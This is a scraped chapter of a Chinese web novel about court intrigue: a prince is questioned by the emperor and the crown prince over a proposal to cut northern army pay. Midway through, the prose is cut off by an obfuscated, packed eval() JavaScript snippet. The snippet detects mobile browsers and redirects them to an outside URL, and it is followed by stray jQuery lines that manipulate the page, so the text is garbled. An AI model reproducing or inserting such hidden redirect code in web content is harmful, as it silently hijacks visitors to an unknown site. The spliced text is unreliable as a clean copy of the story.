晨曦初露，沈淮序披上朝服，整肃冠带。
屋檐下，一盆兰花静静立在窗前，叶色苍翠，泛着微光。花朵尚未完全绽放，花瓣微微卷曲，带着一丝未褪去的露珠。沈淮序驻足片刻，伸手替它翻了翻土，指尖沾上些许湿润的泥土，掌心传来微凉的触感。
这盆兰花是他三年前带回来的。彼时，他不过随意一瞥，见宫中一株折断的兰花被丢弃在台阶旁，无人问津，便顺手拿走了。府中下人都说，这花活不了，沧都的气候太冷，水土也养不住兰草。
可它活了下来。
只是这些年，兰花每逢开花季，总是开得很晚，待到花朵凋谢，才有迟来的馥郁香气。就像被迫生长在沧都的自己，迟迟无法展露锋芒。
沈淮序轻叹一声，收回手指，目光恢复清冷，推开院门，迎面便是一阵清冷的晨风。他不由收紧披风，目光沉静地望向灰蒙蒙的天色。
门外，顾言早已等候多时，见他出来，立刻上前低声道：“王爷，昨日安国公府在御前提及北境军饷一事，言辞试探。”
沈淮序微微眯起眼，语气淡淡：“他们早该坐不住了。”
他不再回头，迈步登上马车，直奔皇宫。
……
宫门前，百官已然聚集，文武大臣分列两侧，安国公府二公子安策也站在人群中，微阖着眼，并不与人交谈。
马车缓缓停下，沈淮序从车上下来，缓步走到人群前方站定，身形笔直。
冬日晨光斜照在金瓦琉璃之上，显得肃穆庄严，身侧的大臣们三三两两交谈，气氛沉稳中透着几分暗潮涌动。
朱红色的宫门在晨光中映出森冷的威严。沈淮序神色如常，目光落在前方，未曾理会。
“上朝——！”
太监尖锐的嗓音打破晨雾的沉静，百官依照品级序列鱼贯而入。
……
“王爷，陛下召见。”
朝会甫一结束，御前太监便站在大殿门前，恭谨地向沈淮序行礼，语气不疾不徐，却带着不容拒绝的意味。
殿外，寒风猎猎，冬日晨曦微弱，天色沉沉。
沈淮序拢了拢袖袍，目光微敛，迈步入殿。
琉璃金顶辉煌庄重，朱红金柱巍峨挺立，檀香袅袅升腾，勤政殿的每一寸光影，都透着这座帝王之城的威严与压迫。
龙椅上的皇帝静静地垂眸翻阅奏折，指尖缓慢地敲击着案几，节奏沉稳，仿佛每一下都能敲入人的心脏，让空气不自觉沉闷几分。
沈淮序行至殿中，单膝跪地，声音沉稳，不卑不亢——
“臣沈淮序，叩见陛下。”
皇帝放下奏折，目光落在沈淮序身上，神色淡漠，仿佛无波无澜的深潭，语气亦是不轻不重：
“淮序，许久未见，你可越来越懂得避朕了。”
此言一出，大殿内一瞬寂静，连殿外随风轻摆的帘幔都似乎收敛了些许声响。
沈淮序低垂着眼睫，拱手不疾不徐地答道：“臣不敢。”他顿了顿，微微抬眸，语气不卑不亢，“臣知陛下日理万机，故不敢叨扰。”
皇帝嘴角勾起一丝淡淡的冷笑，似有若无地看着他，语气意味不明——
“日理万机？”
指尖敲击案几的频率缓了一分，随后，他似笑非笑道：
“倒是镇北王府，越来越沉得住气了。”
殿内寂静，御前的太监低垂着头，大气不敢喘。
沈淮序微微抬眸，对上皇帝审视的目光，仍旧语气恭谨：“臣一直谨守本分。”
他怎么会不明白皇帝的言外之意？
这些年，他未曾踏足北境一步，所有军务均由柳将军、沈家旧部统领，而他沈淮序，则被圈在这沧都繁华之中。皇帝刻意让他远离沈家军，将他困在权谋漩涡的中心，却又在此刻提起镇北王府，可见，他依旧对沈家军有所忌惮。哪怕他身处沧都，也仍旧让皇帝不安。
果然，皇帝淡淡一笑，随意地开口，像是不经意般说道：
“昨日，安国公府的安策上奏，提及北境军饷一事。”
沈淮序眼神微变，却仍旧没有开口，只是静静地听着。
“安策认为，北境军饷支出过重，边境已多年无战事，拨款却未曾减少。他奏请户部重新核查，以免损耗国库。”
皇帝说得云淡风轻，但沈淮序却听得分外清晰。
安策——安国公府如今面上最活跃的人，三十出头的年纪，却已任户部侍郎，在朝中频频掀起风浪。
安国公府的手，果然已经伸到了沈家军的军饷上。
他微微偏过头，看向站在旁侧的安策。
安策一身深青色官服，腰佩玉牌，身姿挺拔，脸上挂着恰到好处的笑意，似是有些谦逊，又透着一丝清贵之气。他上前一步，拱手道：
“臣昨夜翻阅账册，的确发现军费消耗极大，臣以为，既然朝廷推行精简赋税，那么军饷亦应重新考量。”
此话一出，殿内气氛微微一滞。
皇帝目光带着几分戏谑，缓缓地问：“淮序，你怎么看？”
沈淮序知道，这是皇帝对他的试探。
他垂眸思索片刻，随后语气平缓地答道：
“臣身在沧都，对北境军务不敢妄言。但臣以为，军费多少，并不在账册数字，而在是否真正用于边境防御。”
他语调平静，却透着一丝锋芒，“若说北境战事未起，便可削减军饷……十年前，战事未起时，朝廷亦曾削减军费。”
殿内一片死寂。
皇帝目光微凝，安策的笑意稍微收敛。
沈淮序这句话虽未明言，但言下之意再明显不过——当年沈家军覆灭，正是因为战前军饷被削，导致粮草匮乏，前线溃败。如今，安策旧事重提，是否又要重蹈覆辙？
皇帝眼神沉了几分，缓缓地说：“淮序，你是担心北境？”
沈淮序低声道：“臣不敢妄测，只愿边关无事，天下安宁。”
这句话滴水不漏，既不表态支持军费削减，也未直接反驳安策，却在字里行间流露出若边境生乱，军饷削减便是祸端的意思。
皇帝的指尖再次轻敲案几，似是在思索着什么。
安策站在一旁，眼底浮现一丝探究的意味。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293340|166796||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
半晌，皇帝终于缓缓道：
“此事，朕还要再思量。”
沈淮序低头称是。
皇帝挥了挥手，语气淡淡：“你先退下吧。”
沈淮序行礼后，平静地退了出去。
待他离开后，皇帝转头看向安策，眼神幽深，意味不明地开口：
“你怎么看？”
安策微微一笑，语调带着几分意味深长：“沈家军果然不是轻易能动的。”
皇帝眯了眯眼，手掌缓缓收紧，思绪不明。
……
沈淮序出了勤政殿，才踏上宫道不远，便听到一道熟悉的声音从回廊另一侧传来——
“淮序。”
脚步微顿，他微微侧眸，见太子宇文璟缓步而来，身着玄色蟒袍，袖口绣着精致的云纹，整个人温润儒雅，透着一种皇家才有的矜贵气度。
沈淮序垂下眼眸，拱手行礼：“殿下。”
太子抬手示意随从退下，负手走到他身旁，目光落在他的侧脸上，语调意味不明：
“听闻安国公府近来盯上了北境军饷，今日又在勤政殿里提起了此事。”
沈淮序神色不变，语气依旧沉稳：“一切都有陛下定夺，臣不敢妄议。”
太子微微一笑，似乎并不意外他的态度，低声道：“你若当真无意朝局，今日本可顺水推舟，顺势退一步……可你并未退。”
沈淮序不语，半晌，他缓缓道：“殿下，军饷关乎边境安稳，臣身在沧都，无法左右朝堂，但臣仍希望北境无事。”
太子轻笑，眼中透出一丝不易察觉的探究：“所以你是站在沈家军的立场？”
“臣不敢。”沈淮序语气不变，仍旧恭敬，但他也知道，太子不会轻易被搪塞过去。
果然，太子不疾不徐地道：“孤明白你的顾虑，也知晓安国公府的用意。他们要的从来不仅仅是军饷，而是沈家军。”
“而孤……并不希望边境生乱。”
沈淮序眉眼未动，心中却冷笑。
太子果然聪明，既不完全偏向安国公府，又不想放任沈家军独立存在。他在试探，试探自己是否愿意站队。
两人之间一时无言，宫道上唯余微风拂过金红色的宫墙，落叶翻飞。
太子微微一叹，换了个语气，似是无奈地笑道：“孤这些年，一直想与你坐下谈谈。可惜你性子太冷，总是不肯给机会。”
沈淮序嘴角微微勾起，笑意淡薄：“殿下何出此言。”
太子盯着他看了一瞬，忽然道：“淮序，你觉得……你能在沧都待多久？”
这话透着一丝试探，更像是一句隐晦的威胁。
沈淮序微微敛眸，低声道：“沧都的天……臣从不曾怀疑过。”
谁掌这座城的天，他一清二楚。
太子似笑非笑地看着他，目光中透着一种深不可测的情绪，随即他抬手整理袖口，笑道：“今日之事，淮序还是小心些为好。北境的刀枪易避，沧都的水却深得很。”
说罢，他微微颔首，转身朝着东宫方向离去，玄色蟒袍在晨光下晃出一道深影。